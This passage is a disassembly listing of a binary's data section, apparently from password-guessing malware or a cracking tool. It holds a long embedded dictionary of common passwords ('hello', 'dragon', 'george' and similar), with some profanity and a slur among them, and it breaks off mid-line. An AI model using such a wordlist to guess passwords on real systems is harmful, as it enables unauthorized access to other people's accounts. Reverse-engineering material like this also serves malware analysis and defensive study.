aHomepage db 'homepage',0 ; DATA XREF: .data:0042F6C0o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .data:0042F6BCo align 10h aHolly db 'holly',0 ; DATA XREF: .data:0042F6B8o align 4 aHole db 'hole',0 ; DATA XREF: .data:0042F6B4o align 10h aHits db 'hits',0 ; DATA XREF: .data:0042F6B0o align 4 aHitler db 'hitler',0 ; DATA XREF: .data:0042F6ACo align 10h aHighland db 'highland',0 ; DATA XREF: .data:0042F6A8o align 4 aHigh db 'high',0 ; DATA XREF: .data:0042F6A4o align 4 aHidden db 'hidden',0 ; DATA XREF: .data:0042F6A0o align 4 aHibernia db 'hibernia',0 ; DATA XREF: .data:0042F69Co align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: .data:0042F698o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: .data:0042F694o align 10h aHewlett db 'hewlett',0 ; DATA XREF: .data:0042F690o aHeroin db 'heroin',0 ; DATA XREF: .data:0042F68Co align 10h aHero db 'hero',0 ; DATA XREF: .data:0042F688o align 4 aHerbert db 'herbert',0 ; DATA XREF: .data:0042F684o aHerb db 'herb',0 ; DATA XREF: .data:0042F680o align 4 aHelp db 'help',0 ; DATA XREF: .data:0042F67Co align 10h aHello db 'hello',0 ; DATA XREF: .data:0042F678o align 4 aHell db 'hell',0 ; DATA XREF: .data:0042F674o align 10h aHeinlein db 'heinlein',0 ; DATA XREF: .data:0042F670o align 4 aHeidi db 'heidi',0 ; DATA XREF: .data:0042F66Co align 4 aHebrides db 'hebrides',0 ; DATA XREF: .data:0042F668o align 10h aHeather db 'heather',0 ; DATA XREF: .data:0042F664o aHeathen db 'heathen',0 ; DATA XREF: .data:0042F660o aHeat db 'heat',0 ; DATA XREF: .data:0042F65Co align 4 aHeadbang db 'headbang',0 ; DATA XREF: .data:0042F658o align 4 aHead db 'head',0 ; DATA XREF: .data:0042F654o align 4 aHawaii db 'hawaii',0 ; DATA XREF: .data:0042F650o align 4 aHaven db 'haven',0 ; DATA XREF: .data:0042F64Co align 4 aHate db 'hate',0 ; DATA XREF: .data:0042F648o align 4 aHarvey db 'harvey',0 ; DATA XREF: .data:0042F644o align 4 aHarold db 'harold',0 ; DATA XREF: .data:0042F640o align 4 aHarmony db 'harmony',0 ; DATA XREF: .data:0042F63Co aHarddriv db 'harddriv',0 ; DATA XREF: .data:0042F638o align 4 aHardcore db 'hardcore',0 ; DATA XREF: .data:0042F634o align 4 aHard db 'hard',0 ; DATA XREF: .data:0042F630o align 4 aHappenin db 'happenin',0 ; DATA XREF: .data:0042F62Co align 4 aHandjob db 'handjob',0 ; DATA XREF: .data:0042F628o aHandily db 'handily',0 ; DATA XREF: .data:0042F624o aHandel db 'handel',0 ; DATA XREF: .data:0042F620o align 10h aHamster db 'hamster',0 ; DATA XREF: .data:0042F61Co aHamlet db 'hamlet',0 ; DATA XREF: .data:0042F618o align 10h aHallowee db 'hallowee',0 ; DATA XREF: .data:0042F614o align 4 aHair db 'hair',0 ; DATA XREF: .data:0042F610o align 4 aHagar db 'hagar',0 ; DATA XREF: .data:0042F60Co align 4 aHacked db 'hacked',0 ; DATA XREF: .data:0042F608o align 4 aHack db 'hack',0 ; DATA XREF: .data:0042F604o align 4 aGuntis db 'guntis',0 ; DATA XREF: .data:0042F600o align 4 aGumption db 'gumption',0 ; DATA XREF: .data:0042F5FCo align 10h aGuitar db 'guitar',0 ; DATA XREF: .data:0042F5F8o align 4 aGuess db 'guess',0 ; DATA XREF: .data:0042F5F4o align 10h aGucci db 'gucci',0 ; DATA XREF: .data:0042F5F0o align 4 aGuardian db 'guardian',0 ; DATA XREF: .data:0042F5ECo align 4 aGryphon db 'gryphon',0 ; DATA XREF: .data:0042F5E8o aGroup db 'group',0 ; DATA XREF: .data:0042F5E4o align 4 aGreen db 'green',0 ; DATA XREF: .data:0042F5E0o align 4 aGreat db 'great',0 ; DATA XREF: .data:0042F5DCo align 4 aGrant db 'grant',0 ; DATA XREF: .data:0042F5D8o align 4 aGrand db 'grand',0 ; DATA XREF: .data:0042F5D4o align 4 aGrahm db 'grahm',0 ; DATA XREF: .data:0042F5D0o align 4 aGraham db 'graham',0 ; DATA XREF: .data:0042F5CCo align 4 aGrades db 'grades',0 ; DATA XREF: .data:0042F5C8o align 4 aGovermen db 'govermen',0 ; DATA XREF: .data:0042F5C4o align 4 aGouge db 'gouge',0 ; DATA XREF: .data:0042F5C0o align 10h aGosling db 'gosling',0 ; DATA XREF: .data:0042F5BCo aGorges db 'gorges',0 ; DATA XREF: .data:0042F5B8o align 10h aGorgeous db 'gorgeous',0 ; DATA XREF: .data:0042F5B4o align 4 aGood db 'good',0 ; DATA XREF: .data:0042F5B0o align 4 aGolfer db 'golfer',0 ; DATA XREF: .data:0042F5ACo align 4 aGolf db 'golf',0 ; DATA XREF: .data:0042F5A8o align 4 aGolden db 'golden',0 ; DATA XREF: .data:0042F5A4o align 4 aGold db 'gold',0 ; DATA XREF: .data:0042F5A0o align 4 aGlacier db 'glacier',0 ; DATA XREF: .data:0042F59Co aGirl db 'girl',0 ; DATA XREF: .data:0042F598o align 4 aGinger db 'ginger',0 ; DATA XREF: .data:0042F594o align 4 aGina db 'gina',0 ; DATA XREF: .data:0042F590o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .data:0042F58Co align 10h aGibson db 'gibson',0 ; DATA XREF: .data:0042F588o align 4 aGhost db 'ghost',0 ; DATA XREF: .data:0042F584o align 10h aGertrude db 'gertrude',0 ; DATA XREF: .data:0042F580o align 4 aGerm db 'germ',0 ; DATA XREF: .data:0042F57Co align 4 aGeorge db 'george',0 ; DATA XREF: .data:0042F578o align 4 aGauss db 'gauss',0 ; DATA XREF: .data:0042F574o align 4 aGatt db 'gatt',0 ; DATA XREF: .data:0042F570o align 4 aGatherin db 'gatherin',0 ; DATA XREF: .data:0042F56Co align 4 aGateway db 'gateway',0 ; DATA XREF: .data:0042F568o aGarfield db 'garfield',0 ; DATA XREF: .data:0042F564o align 4 aGardner db 'gardner',0 ; DATA XREF: .data:0042F560o aGames db 'games',0 ; DATA XREF: .data:0042F55Co align 4 aGabriel db 'gabriel',0 ; DATA XREF: .data:0042F558o aFungible db 'fungible',0 ; DATA XREF: .data:0042F554o align 10h aFunction db 'function',0 ; DATA XREF: .data:0042F550o align 4 aFudge db 'fudge',0 ; DATA XREF: .data:0042F54Co align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .data:0042F548o aFuckme db 'fuckme',0 ; DATA XREF: .data:0042F544o align 4 aFucking db 'fucking',0 ; DATA XREF: .data:0042F540o aFucker db 'fucker',0 ; DATA XREF: .data:0042F53Co align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0042F538o align 4 aFryguy db 'fryguy',0 ; DATA XREF: .data:0042F534o align 4 aFrog db 'frog',0 ; DATA XREF: .data:0042F530o align 4 aFrighten db 'frighten',0 ; DATA XREF: .data:0042F52Co align 4 aFriends db 'friends',0 ; DATA XREF: .data:0042F528o aFriend db 'friend',0 ; DATA XREF: .data:0042F524o align 4 aFriday db 'friday',0 ; DATA XREF: .data:0042F520o align 10h aFrench db 'french',0 ; DATA XREF: .data:0042F51Co align 4 aFreedom db 'freedom',0 ; DATA XREF: .data:0042F518o aFree db 'free',0 ; DATA XREF: .data:0042F514o align 4 aFred db 'fred',0 ; DATA XREF: .data:0042F510o align 10h aFreak db 'freak',0 ; DATA XREF: .data:0042F50Co align 4 aFrank db 'frank',0 ; DATA XREF: .data:0042F508o align 10h aFrance db 'france',0 ; DATA XREF: .data:0042F504o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: .data:0042F500o aFourier db 'fourier',0 ; DATA XREF: .data:0042F4FCo aForsythe db 'forsythe',0 ; DATA XREF: .data:0042F4F8o align 4 aFornicat db 'fornicat',0 ; DATA XREF: .data:0042F4F4o align 10h aFormat db 'format',0 ; DATA XREF: .data:0042F4F0o align 4 aForm db 'form',0 ; DATA XREF: .data:0042F4ECo align 10h aForever db 'forever',0 ; DATA XREF: .data:0042F4E8o aForesigh db 'foresigh',0 ; DATA XREF: .data:0042F4E4o align 4 aFord db 'ford',0 ; DATA XREF: .data:0042F4E0o align 4 aForce db 'force',0 ; DATA XREF: .data:0042F4DCo align 4 aFootball db 'football',0 ; DATA XREF: .data:0042F4D8o align 10h aFoolproo db 'foolproo',0 ; DATA XREF: .data:0042F4D4o align 4 aFool db 'fool',0 ; DATA XREF: .data:0042F4D0o align 4 aFood db 'food',0 ; DATA XREF: .data:0042F4CCo align 4 aFlowers db 'flowers',0 ; DATA XREF: .data:0042F4C8o aFlower db 'flower',0 ; DATA XREF: .data:0042F4C4o align 4 aFlorida db 'florida',0 ; DATA XREF: .data:0042F4C0o aFloat db 'float',0 ; DATA XREF: .data:0042F4BCo align 4 aFlakes db 'flakes',0 ; DATA XREF: .data:0042F4B8o align 4 aFishers db 'fishers',0 ; DATA XREF: .data:0042F4B4o aFirewall db 'firewall',0 ; DATA XREF: .data:0042F4B0o align 4 aFire db 'fire',0 ; DATA XREF: .data:0042F4ACo align 10h aFinite db 'finite',0 ; DATA XREF: .data:0042F4A8o align 4 aFile db 'file',0 ; DATA XREF: sub_40EC43+1DF2o ; sub_40EC43+1E5Do ... align 10h aFight db 'fight',0 ; DATA XREF: .data:0042F4A0o align 4 aField db 'field',0 ; DATA XREF: .data:0042F49Co align 10h aFidelity db 'fidelity',0 ; DATA XREF: .data:0042F498o align 4 aFerrari db 'ferrari',0 ; DATA XREF: .data:0042F494o aFermat db 'fermat',0 ; DATA XREF: .data:0042F490o align 4 aFender db 'fender',0 ; DATA XREF: .data:0042F48Co align 4 aFelicia db 'felicia',0 ; DATA XREF: .data:0042F488o aFeds db 'feds',0 ; DATA XREF: .data:0042F484o align 4 aFear db 'fear',0 ; DATA XREF: .data:0042F480o align 4 aFast db 'fast',0 ; DATA XREF: .data:0042F47Co align 4 aFart db 'fart',0 ; DATA XREF: .data:0042F478o align 4 aFaraday db 'faraday',0 ; DATA XREF: .data:0042F474o aFarad db 'farad',0 ; DATA XREF: .data:0042F470o align 4 aFamily db 'family',0 ; DATA XREF: .data:0042F46Co align 4 aFalse db 'false',0 ; DATA XREF: .data:0042F468o align 4 aFalcon db 'falcon',0 ; DATA XREF: .data:0042F464o align 4 aFaith db 'faith',0 ; DATA XREF: .data:0042F460o align 4 aFairway db 'fairway',0 ; DATA XREF: .data:0042F45Co aExtensio db 'extensio',0 ; DATA XREF: .data:0042F458o align 10h aExplosiv db 'explosiv',0 ; DATA XREF: .data:0042F454o align 4 aExplorer db 'explorer',0 ; DATA XREF: .data:0042F450o align 4 aExplore db 'explore',0 ; DATA XREF: .data:0042F44Co aExplode db 'explode',0 ; DATA XREF: .data:0042F448o aExpert db 'expert',0 ; DATA XREF: .data:0042F444o align 10h aEvelyn db 'evelyn',0 ; DATA XREF: .data:0042F440o align 4 aEuclid db 'euclid',0 ; DATA XREF: .data:0042F43Co align 10h aEternity db 'eternity',0 ; DATA XREF: .data:0042F438o align 4 aEstate db 'estate',0 ; DATA XREF: .data:0042F434o align 4 aEstablis db 'establis',0 ; DATA XREF: .data:0042F430o align 10h aErsatz db 'ersatz',0 ; DATA XREF: .data:0042F42Co align 4 aErotic db 'erotic',0 ; DATA XREF: .data:0042F428o align 10h aErin db 'erin',0 ; DATA XREF: .data:0042F424o align 4 aErika db 'erika',0 ; DATA XREF: .data:0042F420o align 10h aErica db 'erica',0 ; DATA XREF: .data:0042F41Co align 4 aEric db 'eric',0 ; DATA XREF: .data:0042F418o align 10h aErenity db 'erenity',0 ; DATA XREF: .data:0042F414o aEnzyme db 'enzyme',0 ; DATA XREF: .data:0042F410o align 10h aEnterpri db 'enterpri',0 ; DATA XREF: .data:0042F40Co align 4 aEnter db 'enter',0 ; DATA XREF: .data:0042F408o align 4 aEnglish db 'english',0 ; DATA XREF: .data:0042F404o aEngland db 'england',0 ; DATA XREF: .data:0042F400o aEngineer db 'engineer',0 ; DATA XREF: .data:0042F3FCo align 10h aEngine db 'engine',0 ; DATA XREF: .data:0042F3F8o align 4 aEnemy db 'enemy',0 ; DATA XREF: .data:0042F3F4o align 10h aEmmanuel db 'emmanuel',0 ; DATA XREF: .data:0042F3F0o align 4 aEmily db 'emily',0 ; DATA XREF: .data:0042F3ECo align 4 aEmerald db 'emerald',0 ; DATA XREF: .data:0042F3E8o aEmail db 'email',0 ; DATA XREF: .data:0042F3E4o align 4 aEllen db 'ellen',0 ; DATA XREF: .data:0042F3E0o align 4 aElizabet db 'elizabet',0 ; DATA XREF: .data:0042F3DCo align 4 aElephant db 'elephant',0 ; DATA XREF: .data:0042F3D8o align 4 aElectron db 'electron',0 ; DATA XREF: .data:0042F3D4o align 10h aElanor db 'elanor',0 ; DATA XREF: .data:0042F3D0o align 4 aElaine db 'elaine',0 ; DATA XREF: .data:0042F3CCo align 10h aEinstein db 'einstein',0 ; DATA XREF: .data:0042F3C8o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .data:0042F3C4o align 4 aEileen db 'eileen',0 ; DATA XREF: .data:0042F3C0o align 10h aEiderdow db 'eiderdow',0 ; DATA XREF: .data:0042F3BCo align 4 aEgghead db 'egghead',0 ; DATA XREF: .data:0042F3B8o aEdwina db 'edwina',0 ; DATA XREF: .data:0042F3B4o align 4 aEdwin db 'edwin',0 ; DATA XREF: .data:0042F3B0o align 4 aEducatio db 'educatio',0 ; DATA XREF: .data:0042F3ACo align 10h aEducation db 'education',0 ; DATA XREF: .data:0042F3A8o align 4 aEdition db 'edition',0 ; DATA XREF: .data:0042F3A4o aEdit db 'edit',0 ; DATA XREF: .data:0042F3A0o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .data:0042F39Co align 4 aEdges db 'edges',0 ; DATA XREF: .data:0042F398o align 10h aEddie db 'eddie',0 ; DATA XREF: .data:0042F394o align 4 aEcho db 'echo',0 ; DATA XREF: .data:0042F390o align 10h aEatme db 'eatme',0 ; DATA XREF: .data:0042F38Co align 4 aEasy db 'easy',0 ; DATA XREF: .data:0042F388o align 10h aEasier db 'easier',0 ; DATA XREF: .data:0042F384o align 4 aEarth db 'earth',0 ; DATA XREF: .data:0042F380o align 10h aEagle db 'eagle',0 ; DATA XREF: .data:0042F37Co align 4 aEager db 'eager',0 ; DATA XREF: .data:0042F378o align 10h aDyke db 'dyke',0 ; DATA XREF: .data:0042F374o align 4 aDungeon db 'dungeon',0 ; DATA XREF: .data:0042F370o aDuncan db 'duncan',0 ; DATA XREF: .data:0042F36Co align 4 aDulce db 'dulce',0 ; DATA XREF: .data:0042F368o align 10h aDuke db 'duke',0 ; DATA XREF: .data:0042F364o align 4 aDuelist db 'duelist',0 ; DATA XREF: .data:0042F360o aDude db 'dude',0 ; DATA XREF: .data:0042F35Co align 4 aDuck db 'duck',0 ; DATA XREF: .data:0042F358o align 10h aDrought db 'drought',0 ; DATA XREF: .data:0042F354o aDrive db 'drive',0 ; DATA XREF: .data:0042F350o align 10h aDrdoom db 'drdoom',0 ; DATA XREF: .data:0042F34Co align 4 aDragon db 'dragon',0 ; DATA XREF: .data:0042F348o align 10h aDownload db 'download',0 ; DATA XREF: .data:0042F344o align 4 aDope db 'dope',0 ; DATA XREF: .data:0042F340o align 4 aDoors db 'doors',0 ; DATA XREF: .data:0042F33Co align 4 aDoor db 'door',0 ; DATA XREF: .data:0042F338o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .data:0042F334o align 10h aDoomsday db 'doomsday',0 ; DATA XREF: .data:0042F330o align 4 aDoomii db 'doomii',0 ; DATA XREF: .data:0042F32Co align 4 aDoom2 db 'doom2',0 ; DATA XREF: .data:0042F328o align 4 aDoom db 'doom',0 ; DATA XREF: .data:0042F324o align 4 aDong db 'dong',0 ; DATA XREF: .data:0042F320o align 4 aDollar db 'dollar',0 ; DATA XREF: .data:0042F31Co align 4 aDoctor db 'doctor',0 ; DATA XREF: .data:0042F318o align 4 aDisplay_0 db 'display',0 ; DATA XREF: .data:0042F314o aDisney db 'disney',0 ; DATA XREF: .data:0042F310o align 4 aDiskette db 'diskette',0 ; DATA XREF: .data:0042F30Co align 4 aDisk_0 db 'disk',0 ; DATA XREF: .data:0042F308o align 10h aDiscover db 'discover',0 ; DATA XREF: .data:0042F304o align 4 aDisclose db 'disclose',0 ; DATA XREF: .data:0042F300o align 4 aDiscipli db 'discipli',0 ; DATA XREF: .data:0042F2FCo align 4 aDisc db 'disc',0 ; DATA XREF: .data:0042F2F8o align 4 aDirty db 'dirty',0 ; DATA XREF: .data:0042F2F4o align 4 aDirector db 'director',0 ; DATA XREF: .data:0042F2F0o align 10h aDirect db 'direct',0 ; DATA XREF: .data:0042F2ECo align 4 aDipshit db 'dipshit',0 ; DATA XREF: .data:0042F2E8o aDinosaur db 'dinosaur',0 ; DATA XREF: .data:0042F2E4o align 4 aDigital db 'digital',0 ; DATA XREF: .data:0042F2E0o aDieter db 'dieter',0 ; DATA XREF: .data:0042F2DCo align 4 aDiet db 'diet',0 ; DATA XREF: .data:0042F2D8o align 4 aDiehard db 'diehard',0 ; DATA XREF: .data:0042F2D4o aDick db 'dick',0 ; DATA XREF: .data:0042F2D0o align 4 aDice db 'dice',0 ; DATA XREF: .data:0042F2CCo align 4 aDiane db 'diane',0 ; DATA XREF: .data:0042F2C8o align 4 aDiana db 'diana',0 ; DATA XREF: .data:0042F2C4o align 4 aDiamond db 'diamond',0 ; DATA XREF: .data:0042F2C0o aDial db 'dial',0 ; DATA XREF: .data:0042F2BCo align 4 aDevice db 'device',0 ; DATA XREF: .data:0042F2B8o align 4 aDevelop db 'develop',0 ; DATA XREF: .data:0042F2B4o aDesperat db 'desperat',0 ; DATA XREF: .data:0042F2B0o align 4 aDesktop db 'desktop',0 ; DATA XREF: .data:0042F2ACo aDesk db 'desk',0 ; DATA XREF: .data:0042F2A8o align 4 aDesiree db 'desiree',0 ; DATA XREF: .data:0042F2A4o aDennis db 'dennis',0 ; DATA XREF: .data:0042F2A0o align 4 aDenise db 'denise',0 ; DATA XREF: .data:0042F29Co align 10h aDemocrat db 'democrat',0 ; DATA XREF: .data:0042F298o align 4 aDeluge db 'deluge',0 ; DATA XREF: .data:0042F294o align 4 aDelta db 'delta',0 ; DATA XREF: .data:0042F290o align 4 aDefoe db 'defoe',0 ; DATA XREF: .data:0042F28Co align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: .data:0042F288o aDeck db 'deck',0 ; DATA XREF: .data:0042F280o align 4 aDecember db 'december',0 ; DATA XREF: .data:0042F27Co align 10h aDebug db 'debug',0 ; DATA XREF: .data:0042F278o align 4 aDeborah db 'deborah',0 ; DATA XREF: .data:0042F274o aDebbie db 'debbie',0 ; DATA XREF: .data:0042F270o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: .data:0042F26Co align 4 aDead db 'dead',0 ; DATA XREF: .data:0042F268o align 4 aDawn db 'dawn',0 ; DATA XREF: .data:0042F264o align 4 aDave db 'dave',0 ; DATA XREF: .data:0042F260o align 4 aData db 'data',0 ; DATA XREF: .data:0042F25Co align 4 aDarkaven db 'darkaven',0 ; DATA XREF: .data:0042F258o align 10h aDark db 'dark',0 ; DATA XREF: .data:0042F254o align 4 aDapper db 'dapper',0 ; DATA XREF: .data:0042F250o align 10h aDanny db 'danny',0 ; DATA XREF: .data:0042F24Co align 4 aDanielle db 'danielle',0 ; DATA XREF: .data:0042F248o align 4 aDaniel db 'daniel',0 ; DATA XREF: .data:0042F244o align 4 aDancer db 'dancer',0 ; DATA XREF: .data:0042F240o align 4 aDana db 'dana',0 ; DATA XREF: .data:0042F23Co align 4 aDaisy db 'daisy',0 ; DATA XREF: .data:0042F238o align 4 aDaemon db 'daemon',0 ; DATA XREF: .data:0042F234o align 4 aCynthia db 'cynthia',0 ; DATA XREF: .data:0042F230o aCyberspa db 'cyberspa',0 ; DATA XREF: .data:0042F22Co align 10h aCyberpun db 'cyberpun',0 ; DATA XREF: .data:0042F228o align 4 aCyber db 'cyber',0 ; DATA XREF: .data:0042F224o align 4 aCustomer db 'customer',0 ; DATA XREF: .data:0042F220o align 10h aCunt db 'cunt',0 ; DATA XREF: .data:0042F21Co align 4 aCshrc db 'cshrc',0 ; DATA XREF: .data:0042F218o align 10h aCrystal db 'crystal',0 ; DATA XREF: .data:0042F214o aCristina db 'cristina',0 ; DATA XREF: .data:0042F210o align 4 aCriminal db 'criminal',0 ; DATA XREF: .data:0042F20Co align 10h aCrime db 'crime',0 ; DATA XREF: .data:0042F208o align 4 aCretin db 'cretin',0 ; DATA XREF: .data:0042F204o align 10h aCreosote db 'creosote',0 ; DATA XREF: .data:0042F200o align 4 aCredit db 'credit',0 ; DATA XREF: .data:0042F1FCo align 4 aCreature db 'creature',0 ; DATA XREF: .data:0042F1F8o align 10h aCreation db 'creation',0 ; DATA XREF: .data:0042F1F4o align 4 aCreate db 'create',0 ; DATA XREF: .data:0042F1F0o align 4 aCream db 'cream',0 ; DATA XREF: .data:0042F1ECo align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .data:0042F1E8o align 4 aCrack db 'crack',0 ; DATA XREF: .data:0042F1E4o align 10h aCowboy db 'cowboy',0 ; DATA XREF: .data:0042F1E0o align 4 aCouscous db 'couscous',0 ; DATA XREF: .data:0042F1DCo align 4 aCountry db 'country',0 ; DATA XREF: .data:0042F1D8o aCounters db 'counters',0 ; DATA XREF: .data:0042F1D4o align 4 aCorrect db 'correct',0 ; DATA XREF: .data:0042F1D0o aCorneliu db 'corneliu',0 ; DATA XREF: .data:0042F1CCo align 4 aCopy db 'copy',0 ; DATA XREF: .data:0042F1C8o align 4 aCops db 'cops',0 ; DATA XREF: .data:0042F1C4o align 4 aCopper db 'copper',0 ; DATA XREF: .data:0042F1C0o align 4 aCooper db 'cooper',0 ; DATA XREF: .data:0042F1BCo align 4 aCool db 'cool',0 ; DATA XREF: .data:0042F1B8o align 4 aCookie db 'cookie',0 ; DATA XREF: .data:0042F1B4o align 4 aCookbook db 'cookbook',0 ; DATA XREF: .data:0042F1B0o align 4 aCook db 'cook',0 ; DATA XREF: .data:0042F1ACo align 10h aContinue db 'continue',0 ; DATA XREF: sub_40EC43+2047o ; .data:0042F1A8o align 4 aConsole db 'console',0 ; DATA XREF: .data:0042F1A4o aConserva db 'conserva',0 ; DATA XREF: .data:0042F1A0o align 10h aConnie db 'connie',0 ; DATA XREF: .data:0042F19Co align 4 aCondom db 'condom',0 ; DATA XREF: .data:0042F194o align 10h aCondo db 'condo',0 ; DATA XREF: .data:0042F190o align 4 aComrades db 'comrades',0 ; DATA XREF: .data:0042F18Co align 4 aComrade db 'comrade',0 ; DATA XREF: .data:0042F188o aComputin db 'computin',0 ; DATA XREF: .data:0042F184o align 4 aCompany db 'company',0 ; DATA XREF: .data:0042F180o aCommrade db 'commrade',0 ; DATA XREF: .data:0042F17Co align 4 aCommit db 'commit',0 ; DATA XREF: .data:0042F178o align 4 aComics db 'comics',0 ; DATA XREF: .data:0042F174o align 4 aCombat db 'combat',0 ; DATA XREF: .data:0042F170o align 4 aColor db 'color',0 ; DATA XREF: .data:0042F16Co align 4 aCollins db 'collins',0 ; DATA XREF: .data:0042F168o aCold db 'cold',0 ; DATA XREF: .data:0042F164o align 4 aCola db 'cola',0 ; DATA XREF: .data:0042F160o align 4 aCoke db 'coke',0 ; DATA XREF: .data:0042F15Co align 4 aCoin db 'coin',0 ; DATA XREF: .data:0042F158o align 4 aCoffee db 'coffee',0 ; DATA XREF: .data:0042F154o align 4 aCodeword db 'codeword',0 ; DATA XREF: .data:0042F150o align 4 aCodename db 'codename',0 ; DATA XREF: .data:0042F14Co align 4 aCode db 'code',0 ; DATA XREF: .data:0042F148o align 4 aCock db 'cock',0 ; DATA XREF: .data:0042F144o align 4 aCocainco db 'cocainco',0 ; DATA XREF: .data:0042F140o align 10h aCocacola db 'cocacola',0 ; DATA XREF: .data:0042F13Co align 4 aCoast db 'coast',0 ; DATA XREF: .data:0042F138o align 4 aClusters db 'clusters',0 ; DATA XREF: .data:0042F134o align 10h aCluster db 'cluster',0 ; DATA XREF: .data:0042F130o aClinton db 'clinton',0 ; DATA XREF: .data:0042F12Co aCleavage db 'cleavage',0 ; DATA XREF: .data:0042F128o align 4 aClaymore db 'claymore',0 ; DATA XREF: .data:0042F124o align 4 aClaudia db 'claudia',0 ; DATA XREF: .data:0042F120o aClassic db 'classic',0 ; DATA XREF: .data:0042F11Co aClasses db 'classes',0 ; DATA XREF: .data:0042F118o aClass db 'class',0 ; DATA XREF: .data:0042F114o align 4 aCindy db 'cindy',0 ; DATA XREF: .data:0042F110o align 10h aCigarett db 'cigarett',0 ; DATA XREF: .data:0042F10Co align 4 aCigar db 'cigar',0 ; DATA XREF: .data:0042F108o align 4 aChristy db 'christy',0 ; DATA XREF: .data:0042F104o aChristin db 'christin',0 ; DATA XREF: .data:0042F100o align 4 aChris db 'chris',0 ; DATA XREF: .data:0042F0FCo align 10h aChip db 'chip',0 ; DATA XREF: .data:0042F0F8o align 4 aChester db 'chester',0 ; DATA XREF: .data:0042F0F4o aChess db 'chess',0 ; DATA XREF: .data:0042F0F0o align 4 aChemistr db 'chemistr',0 ; DATA XREF: .data:0042F0ECo align 4 aChem db 'chem',0 ; DATA XREF: .data:0042F0E8o align 4 aChat_0 db 'chat',0 ; DATA XREF: .data:0042F0E4o align 4 aCharon db 'charon',0 ; DATA XREF: .data:0042F0E0o align 4 aCharming db 'charming',0 ; DATA XREF: .data:0042F0DCo align 4 aCharlie db 'charlie',0 ; DATA XREF: .data:0042F0D8o aCharles db 'charles',0 ; DATA XREF: .data:0042F0D4o aCharity db 'charity',0 ; DATA XREF: .data:0042F0D0o aChange db 'change',0 ; DATA XREF: .data:0042F0CCo align 4 aCerulean db 'cerulean',0 ; DATA XREF: .data:0042F0C8o align 4 aCeltics db 'celtics',0 ; DATA XREF: .data:0042F0C4o aCeltic db 'celtic',0 ; DATA XREF: .data:0042F0C0o align 4 aCelt db 'celt',0 ; DATA XREF: .data:0042F0BCo align 4 aCecily db 'cecily',0 ; DATA XREF: .data:0042F0B8o align 4 aCayuga db 'cayuga',0 ; DATA XREF: .data:0042F0B4o align 4 aCave db 'cave',0 ; DATA XREF: .data:0042F0B0o align 4 aCathy db 'cathy',0 ; DATA XREF: .data:0042F0ACo align 4 aCatholic db 'catholic',0 ; DATA XREF: .data:0042F0A8o align 4 aCatherin db 'catherin',0 ; DATA XREF: .data:0042F0A4o align 4 aCastle db 'castle',0 ; DATA XREF: .data:0042F0A0o align 4 aCash db 'cash',0 ; DATA XREF: .data:0042F09Co align 4 aCascades db 'cascades',0 ; DATA XREF: .data:0042F098o align 10h aCarson db 'carson',0 ; DATA XREF: .data:0042F094o align 4 aCarrie db 'carrie',0 ; DATA XREF: .data:0042F090o align 10h aCaroline db 'caroline',0 ; DATA XREF: .data:0042F08Co align 4 aCarolina db 'carolina',0 ; DATA XREF: .data:0042F088o align 4 aCarole db 'carole',0 ; DATA XREF: .data:0042F084o align 10h aCarol db 'carol',0 ; DATA XREF: .data:0042F080o align 4 aCarmen db 'carmen',0 ; DATA XREF: .data:0042F07Co align 10h aCarla db 'carla',0 ; DATA XREF: .data:0042F078o align 4 aCaren db 'caren',0 ; DATA XREF: .data:0042F074o align 10h aCardinal db 'cardinal',0 ; DATA XREF: .data:0042F070o align 4 aCard db 'card',0 ; DATA XREF: .data:0042F06Co align 4 aCapture db 'capture',0 ; DATA XREF: .data:0042F068o aCaptain db 'captain',0 ; DATA XREF: .data:0042F064o aCantor db 'cantor',0 ; DATA XREF: .data:0042F060o align 4 aCandy db 'candy',0 ; DATA XREF: .data:0042F05Co align 4 aCandi db 'candi',0 ; DATA XREF: .data:0042F058o align 4 aCamping db 'camping',0 ; DATA XREF: .data:0042F054o aCampanil db 'campanil',0 ; DATA XREF: .data:0042F050o align 10h aCamille db 'camille',0 ; DATA XREF: .data:0042F04Co aCaliforn db 'californ',0 ; DATA XREF: .data:0042F048o align 4 aButthead db 'butthead',0 ; DATA XREF: .data:0042F044o align 10h aButt db 'butt',0 ; DATA XREF: .data:0042F040o align 4 aButch db 'butch',0 ; DATA XREF: .data:0042F03Co align 10h aBurn db 'burn',0 ; DATA XREF: .data:0042F038o align 4 aBurgess db 'burgess',0 ; DATA XREF: .data:0042F034o aBung db 'bung',0 ; DATA XREF: .data:0042F030o align 4 aBumbling db 'bumbling',0 ; DATA XREF: .data:0042F02Co align 4 aBullshit db 'bullshit',0 ; DATA XREF: .data:0042F028o align 10h aBulls db 'bulls',0 ; DATA XREF: .data:0042F024o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: .data:0042F020o align 4 aBrute db 'brute',0 ; DATA XREF: .data:0042F01Co align 4 aBrunette db 'brunette',0 ; DATA XREF: .data:0042F018o align 4 aBrothel db 'brothel',0 ; DATA XREF: .data:0042F014o aBroadway db 'broadway',0 ; DATA XREF: .data:0042F010o align 4 aBridget db 'bridget',0 ; DATA XREF: .data:0042F00Co aBrian db 'brian',0 ; DATA XREF: .data:0042F008o align 4 aBrenda db 'brenda',0 ; DATA XREF: .data:0042F004o align 4 aBreast db 'breast',0 ; DATA XREF: .data:0042F000o align 4 aBreak db 'break',0 ; DATA XREF: .data:0042EFFCo align 4 aBravo db 'bravo',0 ; DATA XREF: .data:0042EFF8o align 4 aBrandy db 'brandy',0 ; DATA XREF: .data:0042EFF4o align 4 aBrandi db 'brandi',0 ; DATA XREF: .data:0042EFF0o align 4 aBradley db 'bradley',0 ; DATA XREF: .data:0042EFECo aBoyscout db 'boyscout',0 ; DATA XREF: .data:0042EFE8o align 10h aBorn db 'born',0 ; DATA XREF: .data:0042EFE4o align 4 aBook db 'book',0 ; DATA XREF: 